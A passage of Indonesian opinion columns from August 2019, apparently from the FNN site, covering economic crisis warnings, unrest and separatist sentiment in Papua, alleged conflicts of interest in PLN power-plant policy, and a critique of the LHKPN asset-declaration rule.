persoalan seperti pada tahun 1997. Resesi Singapura Tanda-tanda krisis juga berhembus di Singapura. Ekonomi Negeri Jiran ini diperkirakan memasuki resesi pada kuartal ketiga 2019. Terus memanasnya perang dagang antara China dan AS, menekan pertumbuhan negara tersebut. Angka produk domestik bruto (PDB) yang dirilis pada Selasa (13/8) menunjukan penurunan besar pada perekonomian negara itu. Pada kuartal kedua ini, pertumbuhan Singapura tertekan hingga 3,3% jika dibandingkan dengan pertumbuhan di kuartal pertama 2019 sebesar 3,8%. Angka ini merupakan yang paling buruk selama tujuh tahun terakhir. Ekonomi Singapura hanya tumbuh 0,0-1,0% dari proyeksi sebelumnya 1,5%-2,5%. "Bila melihat ke depan, pertumbuhan PDB di banyak pasar permintaan utama Singapura pada paruh kedua 2019 diperkirakan akan melambat atau tetap serupa dengan yang tercatat di periode pertama lalu, " ujar Kementerian Perdagangan dan Industri (MTI) Singapura sebagaimana dilansir Reuters. Jika pertumbuhan di kuartal ketiga nanti tetap negatif, berarti Singapura memasuki resesi teknis. Padahal, Singapura bak "kenari di tambang batu bara". Negara ini menjadi indikator apakah terjadi situasi buruk atau tidak. "Singapura adalah penentu dari perlambatan perdagangan global," kata ekonom Asia Pasifik dari Coface, Carlos Casanova. "Dengan segala sesuatu yang kita lihat, sangat mungkin bahwa akan ada resesi di kuartal ketiga tahun ini," ujarnya seperti dilansir Soth China Mornig Post. Pada Juli, International Monetary Fund (IMF) memangkas perkiraan pertumbuhan 2019 untuk Singapura menjadi 2%. Sebelumnya IMF memprediksi pertumbuhan Singapura tumbuh sebesar 2,3%. Makro dan Mikro Kembali ke ekonomi Indonesia, Rizal memberi gambaran sisi makro dan mikro yang memburuk. Dari indikator makro, grafik transaksi berjalan semakin merosot, bahkan sudah mencapai lebih dari US$8 miliar. Kondisi defisit transaksi berjalan atau current account deficit (CAD) pada kuartal II-2019 sebesar US$8,4 miliar atau 3,04% dari produk domestik bruto (PDB). Indikator lainnya adalah kondisi neraca perdagangan Indonesia dan rasio pajak. Sedangkan indikator mikro juga sudah mulai terlihat membahayakan. Seperti slow down sektor ritel yang diprediksi akan terus berlanjut. Daya beli dan consumer good juga masih akan turun. Begitu pun dengan properti yang diprediksi akan terpuruk, kecuali untuk beberapa segmen. Kemudian di level korporasi, mulai terjadi peningkatan default atau gagal bayar. Ini diistilahkan sebagai zombie company. Keuntungan yang diperoleh tidak bisa untuk membayar bunga utang. “Perusahaan ini hanya bisa hidup dengan refinancing terus menerus,” kata eks Menteri Koordinator Bidang Kemaritiman ini. “Ada krisis kecil-kecil dan tidak disadari banyak orang, tetapi kalau disatukan jadi besar juga. Ini bisa dilihat dari kondisi makro, mikro, maupun korporasi. Kalau dibiarkan terus, bisa sangat membahayakan,” ujarnya, Senin (12/8). Untuk bisa keluar dari ancaman krisis yang lebih besar ini, menurut Rizal, pemerintah harus menghentikan cara lama seperti melakukan pengetatan anggaran atau mengejar pajak dari perusahan atau pelaku usaha kecil. Pemerintah harus melakukan sesuatu yang out of the box. Antara lain dengan menggenjot pertumbuhan ekonomi menjadi 6% sampai 8%, serta meningkatkan daya beli rakyat kecil dengan cara memberikan stimulus. Yang juga penting, menurut Rizal, Indonesia perlu membuat rencana dan action agar bisa menarik manfaat dari adanya perang dagang atara Amerika Serikat dan China. “Yang namanya krisis itu ada dua sisi, satu memberi masalah dan satunya lagi memberi opportunity. Sayangnya Indonesia tidak punya frame work bagimana menarik manfaat dari adanya trade war ini,” sesal Rizal. End

Mungkinkah Papua Merasa Bukan Bagian dari Indonesia?

Bagi saya, peristiwa kerusuhan di Manokwari dan Sorong, plus aksi damai di halaman kantor Gubernur Papua di Jayapura, Senin, 19 Agustus 2019, menyeruakkan sesuatu yang suram dan seram. Oleh Asyari Usman Jakarta, FNN - Banyak dugaan dan pernyataan tentang penyebab kerusuhan di Papua Barat, khususnya di Manokwari dan Sorong. Dugaan yang paling banyak diyakini adalah bahwa penggerebekan asrama mahasiswa Papua di Surabaya dan Malang merupakan penyulut kerusuhan itu. Masyarakat Papua merasa tersinggung. Para pelaku penggerebekan itu meneriakkan kata-kata yang sifatnya rasis. Penghinaan. Mereka tak terima orang-orang yang mendatangi asrama mahasiswa Papua di Surabaya disebut ‘monyet’ , dlsb. Berbagai julukan yang menyakitkan. Ucapan yang tak pantas itu memang dikaui telah terucapkan. Salah seorang yang mendatangi asrama itu mengakuinya dan meminta maaf. Kapolri dan pejabat-pejabat lain pun sepakat bahwa penggerebekan asrama Papua di Surabaya dan Malang menjadi penyulut kerusuhan. Tetapi, apakah kita merasa cukup sekadar menemukan penyebab kerusuhan Manokwari itu? Tidakkah kita perlu menerawang lebih jauh dari ucapan-ucapan rasis tadi? Boleh jadi sangat perlu. Perlu melihat sisi lain Papua yang mungkin tidak kita anggap penting lagi. Karena kita mengambil sikap “take for granted” (sudah terjamin) bahwa Papua (yang terdiri dari Provinsi Papua dan Provinsi Papua Barat) secara de-jure adalah bagian dari NKRI. Buktinya, bendera Merah-Putih tetap berkibar di kedua provinsi itu. Bahasa Indonesia adalah bahasa resmi di sana. Struktur administrasi pemerintahan tidak berbeda dengan bagian lain Indonesia. Semuanya sudah Indonesia di Papua. Tidak ada yang tidak Indonesia. Kontrak Freeport diperpanjang oleh pemerintah Indonesia. TNI dan Polri ada di sana. Bahkan, “orang Indonesia” pun bisa hidup berdampingan secara damai dengan “orang Papua”. Tapi, belakangan ini mengapa Papua menjadi sangat sensitif bagi penguasa di Jakarta? Dan, sebaliknya, mengapa Papua kelihatan lebih percaya diri untuk menyatakan bahwa Jakarta yang perlu Papua, bukan Papua yang perlu Jakarta? Mungkinkah Papua merasa mereka bukan anak kandung Indonesia? Mungkinkah mereka merasa bukan bagian dari Indonesia? Bagi saya, peristiwa kerusuhan di Manokwari dan Sorong, plus aksi damai di halaman kantor Gubernur Papua di Jayapura, Senin, 19 Agustus 2019, menyeruakkan sesuatu yang suram dan seram. Dari sini, semakin terang bahwa orang Papua belum terintegrasi sepenuhnya ke dalam Indonesia. Ini yang saya baca dari jauh. Ini cukup suram. Seolah tersimpan jawaban “iya” untuk kedua pertanyaan di atas. Orang di bagian lain Indonesia dan para pemuka Papua sendiri boleh-boleh saja mengatakan bahwa Papua adalah NKRI. Masih NKRI. Tetapi, bagi saya, peristiwa terbaru kemarin ditambah dengan sejarah gerakan separatis Papua memberikan gambaran bahwa rakyat Tanah Cendrawasih tidak sepenuh hati berada di dalam NKRI. Mari kita telusuri beberapa gejala ringan tetapi bercerita tentang sesuatu yang berat. Pertama, ada rekaman video yang menunjukkan dialog antara (kelihatannya) aparat kecamatan plus anggota ormas dengan sejumlah mahasiswa Papua di dalam komplek asrama mahasiswa di Surabaya tentang pemasangan bendera Merah-Putih. Aparat dan anggota ormas membujuk agar mahasiswa memasang bendera nasional. Tetapi, secara diplomatis para mahasiswa tidak mengikutinya. Sampai akhirnya terjadi kegaduhan. Nyaris bentrok fisik. Kedua, dalam wawancara dengan tvOne setelah kerusuhan di Manokwari, Gubernur Papua Lukas Enembe menggunakan kalimat-kalimat yang mengesankan seolah Papua dan Indonesia adalah dua entitas yang berbeda. Seakan sama-sama entitas negara. Beberapa kali Gubernur Enembe mengatakan, “Orang Indonesia tidak boleh memancing emosi orang Papua.” Kalimat seperti ini jelas memunculkan arti bahwa Papua berada di luar Indonesia. Kalau dia katakan, “Orang Jawa tidak boleh memancing emosi orang Papua,” barulah jelas bahwa Jawa dan Papua sama-sama bagian dari Indonesia. Mengapa Enembe berucap seperti itu? Hanya beliaulah yang tahu. Saya hanya bisa menduga bahwa Enembe mungkin sedang mewakili perasaan orang Papua pada umumnya perihal keberadaan mereka di dalam NKRI. Maksud saya, Enembe sendiri sepertinya tidak 100% merasa bagian dari Indonesia. Sehingga, sadar atau tak sadar, dia menggunakan kalimat yang mempertentangkan Indonesia dengan Papua. Tak mungkin Enembe lupa bahwa yang sedang bertikai sekarang ini adalah sesama anak bangsa. Bukan insiden antara dua negara. Hebatnya lagi, Gubernur Enembe bisa dengan entengnya mengkuliahi para penguasa di Jakarta. Tak terbayangkan seandainya gubernur Riau atau gubernur Sulawesi Selatan yang bicara ceplas-ceplos seperti Enembe. Pastilah kedua gubernur itu akan dibully oleh para menteri dan buzzer bayaran. Barangkali, inilah yang menunjukkan orang Papua yakin betul bahwa Indonesialah yang perlu dengan Papua. Bukan sebaliknya. Ketiga, ketika berorasi di halaman kantor gubernur Papua di Jayapura, beberapa hari lalu, seorang ibu yang tampak sangat intelek menyampaikan keberatannya terhadap perlakuan rasis di Surabaya. Menariknya, di akhir orasi dia meneriakkan yele-yel “Papua” yang kemudian dijawab massa dengan pekikan “Merdeka”. Sampai tiga kali. Ini tak bisa dianggap sepele. Orasi itu mencerminkan aspirasi orang banyak. Keempat, sejak beberapa tahun belakangan ini warga Papua perantauan di Jawa percaya diri berdemo menuntut penentuan nasib sendiri. Tepatnya menuntut referendum. Lokasi demo itu pun juga di Surabaya. Kelima, perjuangan kemerdekaan Papua semakin mendapatkan perhatian serius di level internasional. Sudah sampai ke markas PBB. Dari berbagai gejala ini, tidaklah berlebihan kalau ada yang menyimpulkan bahwa aspirasi Papua Merdeka akan semakin mengeras. Persoalannya, kalau tuntutan merdeka itu digiring atau tergiring ke konflik fisik, tentunya Indonesia tidak akan membiarkan. Pasti Indonesia tidak akan rela. Inilah skenario yang menyeramkan. Pertumpahan darah menjadi tak terelakkan. Jakarta pasti akan mati-matian menumpas gerakan separatis. Seram. Sekarang, wajarkah Papua merasa bukan bagian dari Indonesia? Perlakuan pemerintah pusat dalam 40 tahun belakangan ini memang membekaskan luka dan kemarahan orang Papua. Mereka merasa bumi Papua dikuras habis oleh Jakarta dan tidak banyak yang dikembalikan ke rakyat mereka. Ketidakadilan merajalela terhadap warga Papua. Dan sebetulnya juga terhadap banyak warga Indonesia lainnya. Ini membuat orang Papua dari waktu ke waktu semakin jauh dari induknya. Boleh jadi mereka merasa bukan anak kandung Indonesia. Tidak merasa bagian dari Indonesia. (Penulis adalah wartawan senior) 21 Agustus 2019

PLTU, Swasta Kemaruk PLN Terpuruk

Mereka adalah yang selama belasan bahkan puluhan tahun berpesta pora dari proyek-proyek PLN. Oleh Edy Mulyadi (Wartawan Senior) Jakarta, FNN - "Ya udah kita bilang, satu kalau saya bilang supaya lebih efisienlah. Kalian (PLN) jangan terlalu banyak terlibat pembangunan-pembangunan listrik, power, biarin aja private sector masuk. Seperti 51% harus untuk Indonesia Power waste to energy, lupain dulu lah itu. Konsolidasi aja dulu saja biarkan private sector main,” papar Menko Kemaritiman Luhut Binsar Panjaitan kepada Plt Dirut PT PLN, Sripeni Inten Cahyani, seperti dikutip satu media daring, Rabu pekan silam (14/8). Entah ada atau tidak hubungan antara ‘nasehat’ Luhut kepada bos PLN itu dan black out yang melanda sebagian Jawa beberapa hari sebelumnya. Yang pasti, ucapan seorang Luhut tersebut mengundang banyak tafsir. Tapi karena sepak terjang pensiunan jenderal ini di ranah bisnis yang menggurita, maka publik langsung menyebutnya ada konflik kepentingan. Adalah Muhammad Said Didu antara lain yang punya pendapat seperti itu. Dalam kicauannya di @msaid_didu, mantan Sekretaris Kementerian BUMN ini menulis, “Ini jelas konflik kepentingan karena setahu saya beliau memiliki banyak pembangkit listrik.” Said Didu benar. Luhut punya banyak perusahaan di bawah bendera PT Toba Sejahtera. Gurita perusahaan ini merambah ke berbagai jenis usaha. Di antaranya, batubara dan pertambangan, Migas, perindustrian, properti, pembangkit listrik, serta kehutanan dan kelapa sawit. Bisnisnya di bidang batubara, dia berkibar dengan bendera PT Kutai Energi dan PT Toba Bara Sejahtera (Toba). Luhut setidaknya punya empat perusahaan yang bermain di pembangkit listrik. Masing-masing PT Pusaka Jaya Palu, PT Kertanegara Energi Perkasa, PT Minahasa Cahaya Lestari, dan PT Gorontalo Listrik Perdana. Dua perusahaan yang disebut terakhir adalah anak-anak perusahaan Toba. So, tidak bisa tidak, permintaan (‘perintah’?) Luhut kepada Sripeni sarat dengan konflik kepentingan. Sebagai menteri, dia jelas bukan pejabat tinggi biasa. Dia adalah pembantu Presiden. Ucapannya bisa bermakna atau dimaknai sebagai titah bagi direksi BUMN. Dengan PLN tidak lagi terlalu banyak terlibat pembangunan-pembangunan listrik, artinya, swasta akan kebanjiran kerjaan membangun pembangkit listrik. Ini pas betul dengan permintaan yang dengan eksplisit disampaikan Luhut kepada Sripeni. Saham 51% Secara khusus, pensiunan jenderal ini juga minta agar PLN melupakan konsep kepemilikan 51% saham di pembangkit-pembangkit listrik yang dibangun swasta. Pertanyannya, mengapa Luhut menaruh perhatian khusus atas perkara kepemilikan saham ini? Sejak Sofyan Basir didapuk menjadi Dirut PLN, mantan bankir ini memang melakukan sejumlah terobosan penting. Antara lain, melalui anak perusahaan PLN (PT Indonesia Power dan PT Pembangkitan Jawa Bali), dia menghendaki PLN mengantongi saham sebesar 51%. Tapi meski mayoritas, SB, begitu Sofyan biasa disapa, hanya mau menyetor dana 10% saja. Sisanya yang 41% diperoleh hasil pinjaman dari swasta yang menjadi mitra membangun pembangkit. Oya, ada satu syarat lain. Yaitu, pinjaman tadi harus berbunga murah, sekitar 4,125% alias sama dengan global bond yang biasa PLN terbitkan. Belum lagi soal kepemilikan saham tuntas, SB juga menyodorkan persyaratan lain yang tidak kalah memusingkan swasta. Dia mau masa kontrol pembangkit hanya sekitar 15 tahun. Selanjutnya, pada tahun ke-16 PLTU yang dibangun sepenuhnya jadi milik PLN. Kalang kabut Tentu saja, permintaan SB ini membuat para pengusaha swasta kalang kabut dan mangkel. Mereka seperti disudutkan pada ketiadaan pilihan. Bersedia, silakan penuhi syarat-syarat tersebut. Jika tidak mau, masih banyak swasta lain yang ngiler dan antre membangun pembangkit listrik. Asal tahu saja, Undang Undang tidak mengizinkan swasta menjual listriknya secara langsung kepada konsumen. Sebagai gantinya, peraturan yang ada mewajibkan PLN membeli minimal 72% listrik yang dihasilkan swasta. Pada laporan keuangan 2018, sampai Desember pembelian listrik PLN tercatat senilai Rp84,3 triliun. Angka ini naik dibandingkan tahun sebelumnya yang Rp72,4 tiliun. Itu baru dari pembelian listrik swasta. Masih ada sumber gizi lain dari belanja PLN yang bisa dikunyah swasta. Biasanya, swasta yang membangun PLTU juga pemilik tambang batubara. Nah, untuk soal ini, sampai semester pertama 2018 saja, PLN harus merogoh kocek hingga Rp16,8 triliun. Dengan asumsi sederhana, dikali dua untuk sampai akhir tahun, artinya, ada dana sekitar Rp34 triliun hanya untuk pembelian batubara. Gurih bin legit, kan? Tapi, ya itu tadi, SB menyorongkan beragam persyaratan bagi swasta yang akan membangun pembangkit. Dengan persyaratan seperti itu, PLN memang banyak diuntungkan. Pertama, saham yang dikantongi mayoritas, yaitu 51%. Sebagai pemegang saham, apalagi mayoritas, PLN berhak menempatkan direksi untuk mengontrol. Hal ini tidak pernah terjadi sebelumnya. Yang sudah-sudah, PLN benar-benar hanya berfungsi sebagai pembeli alias off taker dari listrik yang dihasilkan Independent Power Producer (IPP). Keuntungan kedua, jumlah dana yang disetor PLN untuk penguasaan saham 51% hanya 10%. Ini jelas sangat menguntungkan bagi arus kas perusahaan. Ketiga, PLN dapat pinjaman dana murah untuk menutup 49% saham sisanya. Keempat, PLN punyak hak penuh atas PLTU setelah 15 tahun beroperasi. Keruan saja SB jadi punya banyak musuh. Siapa? Mereka adalah yang selama belasan bahkan puluhan tahun berpesta pora dari proyek-proyek PLN. Pola bisnis yang disorongkan Sofyan sama artinya mengakhiri pesta dengan paksa. Dia ingin mengerem syahwat swasta yang kemaruk bisnis PLTU dan yang terkait. Sebab, jika hal ini dibiarkan terus berlanjut bukan mustahil PLN bisa terpuruk. Sampai di sini, tidak heran kalau dia menjadi sasaran bidik. Barangkali, tidak terlalu aneh jika kini Sofyan harus mondar-mandir menghadiri sidang di Pengadilan Tipikor sebagai terdakwa pada kasus pembangunan PLTU Mulut Tambang Riau-1. Beberapa aktor ikut terseret dalam pusaran kasus ini. Mereka adalah Wakil Ketua Komisi VI DPR-RI Eny Maulani Saragih, mantan Bendahara Umum Partai Golkar yang juga mantan Mensos Idrus Marham, dan pemilik PT Blackgold Natural Resources, mitra PLN dalam PLTU Riau-1. _Wallahu a’lam_... Jakarta, 21 Agustus 2019 *Edy Mulyadi*, wartawan senior

Rusuh Papua, Waspadai Para Pengail di Air Keruh

Soal adanya kelompok yang kemungkinan menunggangi aksi dan meradikalisasi massa ini kelihatannya tidak mengada-ada. Ada tanda-tanda yang sangat jelas, upaya membenturkan antar-elemen anak bangsa. Oleh : Hersubeno Arief Jakarta, FNN - Kerusuhan yang terjadi di Papua Barat menimbulkan tanda tanya besar. Mengapa aksi yang semula berlangsung damai itu tiba-tiba berubah rusuh. Massa bahkan sampai membakar Gedung DPRD. Mengapa kerusuhan yang dipicu oleh perlakuan rasisme terhadap mahasiswa asal Papua di Malang, dan Surabaya justru meledak di Manokwari dan Sorong, Papua Barat. Bukan di Jayapura, Papua yang selama ini dikenal sebagai hot spot? Di Jayapura juga terjadi aksi massa. Jumlahnya cukup besar. Namun berlangsung damai. Mereka hanya melakukan orasi. Tidak ada kerusuhan. Gubernur Papua Barat Dominggus Mandacan curiga ada penumpang gelap. Mereka memanfaatkan situasi. “Dari awal adik-adik mahasiswa dan masyarakat yang tergabung ini, dalam koridor damai sebenarnya. Mereka baru bergerak menuju DPRD, ternyata sudah terbakar,” ujarnya. Soal adanya kelompok yang kemungkinan menunggangi aksi dan meradikalisasi massa ini kelihatannya tidak mengada-ada. Ada tanda-tanda yang sangat jelas, upaya membenturkan antar-elemen anak bangsa. Tiba-tiba saja video Ustadz Abdul Somad (UAS) yang disebut menghina salib dan patung Jesus menjadi viral. Sejumlah elemen umat Nasrani melaporkannya ke polisi. Padahal ceramah UAS itu terjadi tiga tahun lalu. Ceramahnya juga berlangsung secara internal. Bersamaan dengan itu ceramah sejumlah pendeta yang menghina Nabi Muhammad SAW dan umat Islam juga beredar dengan cepat di medsos. Nampak sekali ada upaya memprovokasi agar umat Islam marah. Ustadz Haikal Hassan Baraas mengaku mendapat banyak kiriman dan minta diviralkan. Ini jawaban saya: "Anda ini mau melihat Indonesia hancur karena perang agama?" STOP!!! Laporkan ke @BareskrimPolri! Bukan sosmed !!" kata Haikal diakunnya. (Membenturkan FPI) Pada kasus perlakuan rasisme terhadap mahasiswa di Surabaya, sangat jelas ada upaya membenturkan antar-kelompok masyarakat. Di medsos FPI bersama Pemuda Pancasila disebut-sebut sebagai pelaku rasisme terhadap mahasiswa Papua. Dari kronologi yang disampaikan oleh mahasiswa Papua yang terjebak di Asrama tidak ada penjelasan FPI terlibat. Video-video yang beredar, baik dari dalam dan luar asrama, sangat jelas ucapan rasisme itu terjadi saat sejumlah anggota TNI, Polri dan sejumlah orang berpakaian preman mengepung Asrama. Namun tidak jelas siapa yang mengucapkan. Portal CNN. Com membuat berita dengan Judul : Asrama Papua di Surabaya Digeruduk Massa Beratribut FPI. Bila kita baca beritanya lebih teliti, judul berita tersebut jelas merupakan pemelintiran. “Berdasarkan pantauan CNNIndonesia.com di lokasi, dari ratusan massa yang memadati depan asrama mahasiswa itu, ada yang mengenakan atribut ormas Front Pembela Islam (FPI) dan Pemuda Pancasila (PP). Namun, sebagian besar dari mereka mengenakan pakaian bebas.” Dalam berita tersebut benar ada foto satu orang yang mengenakan seragam FPI membelakangi kamera, dan satu orang lainnya mengenakan pakaian dan kupluk warna putih. Jadi setidaknya ada dua orang. Bukan massa seperti disebut dalam judul. Berita CNN kemudian di-buzz oleh Permadi Arya atau lebih dikenal sebagai Abu Janda dan politisi PSI Guntur Romli. Permadi Arya@permadiaktivis Aug 19 “gara2 FPI geruduk asrama Papua di Surabaya.. sekarang warga Papua marah tidak terima sampai rusuh bakar2an.” “jadi pertanyaannya: APA manfaat ormas FPI sebenarnya? selain geradak geruduk warung, rumah ibadah, agama & etnis minoritas picu konflik horisontal?” Mohamad Guntur Romli@GunRomli Aug 19 “Hanya info dr medsos lngsung geruduk asrama Papua dgn tuduhan bendera Merah Putih dibuang kmudian menjalar pd kekerasan & rasisme, akhirnya hari ini ada demo di Papua #TolakRasisme #KitaPapua.” “Asrama Papua di Surabaya Digeruduk Massa Beratribut FPI” Isu itu menjadi tambah ramai karena media mengutip pernyataan Gubernur Papua Lukas Enembe yang memprotes Gubernur Jatim Khofifah. Sejumlah media membuat judul yang provokatif. Jaringan TribunNews.com misalnya membuat judul : Gubernur Lukas Enembe: Kenapa Tak Terjunkan Banser untuk Bela Mahasiswa Papua yang Dipersekusi. Dari judul-judul media dan akun buzzer dari dua kelompok yang berseberangan, sangat jelas ada upaya-upaya membenturkan, atau setidaknya memprovokasi. FPI Vs Banser! Apakah media dan para buzzer ini secara sengaja dan sadar melakukan hal itu, atau hanya sekedar terbawa eforia dan semangat permusuhan yang sudah menjadi kesumat? Imbas dari Pilkada DKI 2017 dan kemudian berlanjut ke Pilpres 2019. Isu Papua ini tidak boleh dibuat main-main karena bisa membakar kohesi bangsa Indonesia. Apalagi kalau sudah membawa-membawa sentimen agama, ras, suku, dan antar-golongan (SARA). Belum lagi jika bicara kepentingan politik global. Sangat jelas ada kekuatan global yang berkepentingan agar Papua tetap rusuh dan menjadi perhatian dunia internasional. Kelompok separatis the United Liberation Movement for West Papua (ULMWP) mengklaim telah menyerahkan petisi menuntut referendum kemerdekaan Papua Barat kepada Ketua Dewan HAM Perserikatan Bangsa-Bangsa (PBB). Pemimpin ULMWP Benny Wenda mengklaim petisi itu ditandatangani 1.8 juta orang, atau sekitar 3/4 rakyat Papua. Di Jayapura seorang orator perempuan meneriakkan referendum dan kemerdekaan Papua. Perlu sikap bijak dari semua pihak untuk tidak bermain-main dengan api “kemerdekaan” Papua. Api yang bisa membakar rumah besar bernama Indonesia. Sebagai bagian dari bangsa Indonesia, orang Papua perlu didengar, diajak bicara, dirangkul dan diakomodasi aspirasi dan kepentingan. Bagaimanapun mereka adalah bagian dari anak bangsa. Jangan hanya dikeruk kekayaannya, bersamaan dengan itu mereka dipinggirkan dan nasibnya diabaikan. End

LHKPN : Kontradiksi Peraturan Buatan Manusia & Norma Agama

Sebagai catatan dari penulis, Dharma dan Buwas dikenal oleh kalangan wartawan sebagai polisi yang lurus. Dalam pengertian tidak berpolitik, tidak ikut “faksi-faksian”, dan tidak pernah terlihat dan terendus dekat dengan “cukong” siapa pun. Bahkan dari riwayat jabatannya terdahulu, kedua perwira ini tergolong perwira yang selalu “dipinggirkan”. Oleh : Tony Hasyim Wartawan Senior Jakarta, FNN - Pekan lalu, seorang perwira tinggi Polri kembali mempersoalkan aturan wajib menyetor Laporan Harta Kekayaan Peyelenggara Negara (LHKPN ke KPK. Namanya Irjen Polisi Dharma Pongrekun, Wakil Kepala Badan Siber dan Sandi Negara (BSSN). Kebetulan yang bersangkutan sekarang sedang mengikuti seleksi calon pimpinan KPK. Dharma sendiri sebetulnya sudah menyetor LHKP ke KPK pada 13 Maret 2019. Tapi ia berpandangan aturan dan sistem LHKPN ini harus diperbaiki. Sebelumnya, tahun 2015, Komjen Polisi Budi Waseso, yang terkenal dengan panggilan “Buwas” juga pernah mempersoalkan LHKPN sewaktu masih menjabat Kabareskrim Polri. Buwas sekarang dipercaya Presiden Jokowi sebagai Kepala Bulog. Sebelumnya Buwas juga sudah menyetor LHKPN sewaktu menjadi Kapolda Gorontalo (tahun 2012). Tapi sewaktu dipromosikan menjadi Kabareskrim, ia enggan menyetor LHKPN. Buwas justru meminta KPK sendiri yang melakukan pencatatan atas harta kekayaannya agar lebih objektif. Menurut Dharma aturan LHKPN membuat orang bersiasat untuk berbohong. Sebab, belum tentu semua harta kekayaan dia laporkan di LHKPN. Dharma menegaskan, sebagai sarana untuk transparansi, LHKPN bisa saja. Namun dia memandang tak perlu ada unsur paksaan atau sanksi. "Kalau lu mau tangkap (koruptor), tangkap saja. Transparansi apa, orang dia belum tentu daftarin semua hartanya kok," tegasnya. Menurut Dharma, LHKPN adalah konsep aturan ateis. Pernyataan Dharma ini menimbulkan kontroversi sampai sekarang. Alasan mempersoalkan LHKPN dari kedua perwira tinggi Polri tersebut hampir senada. Dalam prakteknya memanya memang tidak semua orang bisa objektif dalam mencatat dan melaporkan seluruh harta kekayaan pribadinya dengan berbagai pertimbangan. Bagi yang harta kekayaannya banyak memang sulit untuk mencatat secara detil harta kekayaannya. Bisa jadi mereka khawatir harta kekayaannya menjadi sorotan publik. Tapi bisa juga karena pertimbangan keyakinan agamanya. Terkait keengganan Buwas waktu itu, Wakil Presiden (Wapres) Jusuf Kalla (JK) pernah memberi penilaian tersendiri kepada Buwas. Menurut JK, Buwas adalah orang yang sederhana. Sehingga, meyakini harta yang miliki oleh jenderal bintang tiga tersebut tidaklah banyak. Buwas sendiri setelah menjadi Kabareskrim digeser ke posisi Kepala BNN. Tapi setelah itu dipromosikan Jokowo menjadi Kepala Bulog hingga hari ini. Sebagai catatan dari penulis, Dharma dan Buwas dikenal oleh kalangan wartawan sebagai polisi yang lurus. Dalam pengertian tidak berpolitik, tidak ikut “faksi-faksian”, dan tidak pernah terlihat dan terendus dekat dengan “cukong” siapa pun. Bahkan dari riwayat jabatannya terdahulu, kedua perwira ini tergolong perwira yang selalu “dipinggirkan”. Buwas hanya pernah sekali menjadi Kapolda, itu pun di daerah yang tidak “basah”, Provinsi Gorontalo. Dharma, bahkan sama sekali tidak pernah menjadi Kapolda, Kapolwil atau Kapolres. Konon, karena merasa tersisih di internal kepolisian, Dharma berinsiatif mencari medan pengabdian baru. Dalam catatan penulis, Dharma pernah ikut seleksi capim KPK tahun 2011 (waktu masih berpangkat AKPB), lalu mendaftar lagi tahun 2015 (berpangkat Kombes), tapi tidak lolos. Hebatnya, Dharma ikut lagi pada seleksi capim KPK tahun 2019 ini, setelah menyandang bintang dua di pundaknya. Sepertinya ia punya obsesi tersendiri di lembaga pemberantas korupsi tersebut. Bahwa Buwas dan Dharma sekarang punya posisi cukup bergengsi di luar kepolisian barangkali karena nasibnya memang baik. Tapi bisa jadi karena Presiden Jokowi, yang punya kewenangan tertinggi dalam mutasi dan promosi jabatan, dapat informasi tersendiri tentang sosok kedua perwira tinggi polisi Buwas dulu kalah bersaing di bursa calon Kapolri, tapi belakangan malah dijadikan Kabulog oleh Jokowi. Di posisi ini Buwas masih kelihatan aslinya, out spoken dan secara frontal melawan kebijakan impor beras yang diberlakukan Menteri Perdagangan. Faktanya, setelah Buwas masuk Bulog, stok dan harga beras relatif stabil hingga hari ini. Nampaknya Jokowi memang tidak salah dalam memilih Buwas. Dharma meski tidak pernah jadi Kapolda dan jarang muncul di media, sebulan lalu dipromosikan Jokowi sebagai Waka BSSN. Dharma sekarang berusi 53 tahun, masih punya kesempatan berkarir 5 tahun lagi di kepolisian. Dharma diangkat Jokowi sebagai Wakil Kepala BSSN setelah mendaftar menjadi capim KPK. Apakah ini sebuah bentuk dorongan agar Dharma bisa menjadi pimpinan KPK, atau ada rencanana lain? Hanya Jokowi yang tahu. Catatan berikutnya, ayah Buwas adalah Dangir Marwoto, seorang prajurit Kopassus TNI-AD dengan pangkat terakhir kolonel. Ada pun ayah Dharma adalah Marthen Pongrekun, seorang jaksa karir dengan jabatan terakhir Jaksa Agung Muda Pembinaan. Dari latar belakang keluarganya, sudah jelas kedua perwira ini berdarah aparatur negara. Mengapa Mereka Mempersoalkan LHKPN? Tidak banyak pejabat di Indonesia yang berani mempersoalkan kebijakan KPK tentang aturan wajib menyetor LHKPN ini. Karena bisa jadi mereka akan disorot KPK dan para aktivis anti-korupsi. Awal Maret 2019, Wakil Ketua DPR. Fadli Dzon pernah mengusulkan agar KPK menghapus aturan LHKPN dan fokus kepada pemeriksaan harta kekayaan penyelenggara negara melalui data pajaknya. Tapi akibatnya Fadli dibully oleh buzzer pendukung KPK. Menurut Wakil Ketua KPK Alexander Marwata, usulan Fadli tersebut tidak bisa dilaksanakan karena SPT (Surat Pemberitahauan Tahunan) Pajak sifatnya sangat rahasia dan tidak bisa diakses semua orang. Sedangkan LHKPN ditujukan agar kepemilikan harta seorang penyelenggara negara bisa dicek dan diklarifikasi kebenarannya. Argumen pejabat KPK ini sebetulnya mudah disangkal. Dalam pembuktian tindak pidana korupsi sebetulnya KPK bisa meminta akses ke rekening tersangka korupsi. Dasar hukumnya adalah pasal 12 huruf c UU No. 30 Tahun 2002 tentang Komisi Pemberantasan Tindak Pidana Korupsi (UU KPK). Disebutkan dalam pasal tersebut bahwa KPK dalam melaksanakan tugas penyelidikan, penyidikan, dan penuntutan terhadap tindak pidana korupsi berwenang meminta keterangan kepada bank atau lembaga keuangan lainnya tentang keadaan uang tersangka atau terdakwa yang sedang diperiksa. Logikanya, jika KPK bisa mengakses kerahasiaan data perbankan, harusnya KPK bisa juga menembus kerasahasian data pajak. Tinggal koordinasi dengan Menteri Keuangan. Apa sulitnya? Yang perlu dipahami, Dharma dan Buwas adalah polisi reserse. Semua reserse di dunia menganut doktrin post factum, bahwa tindakan penyelidikan dan penyidikan baru dilakukan setelah tindak pidana terjadi. Hal ini yang membedakan reserse dengan komunitas intelijen. Profesi yang terakhir ini memang lazim bertindak atas dasar “kecurigaan”. Jika KPK bersikeras mengecek dan mengklarifikasi semua harta kekayaan penyelenggara negara sebelum yang bersangkutan menjadi tersangka tindak pidana korupsi, patut dipertanyaan KPK ini lembaga penegak hukum atau lembaga intelijen? Menurut hemat penulis, aturan pelaporan dan pengumuman LHKPN ini adalah produk hukum yang lebay (mengada-ada). Sampai saat ini tidak ada alasan historis dan logis dari lahirnya aturan soal LHKPN ini. Sejauh ini beberapa kalangan, termasuk pejabat di KPK, menyebut bahwa kewajiban melapor LHKPN adalah tolok ukur kejujuran bagi setiap penyelenggara negara. Tapi tidak ada satupun pertimbangan hukum, pasal dan penjelasan 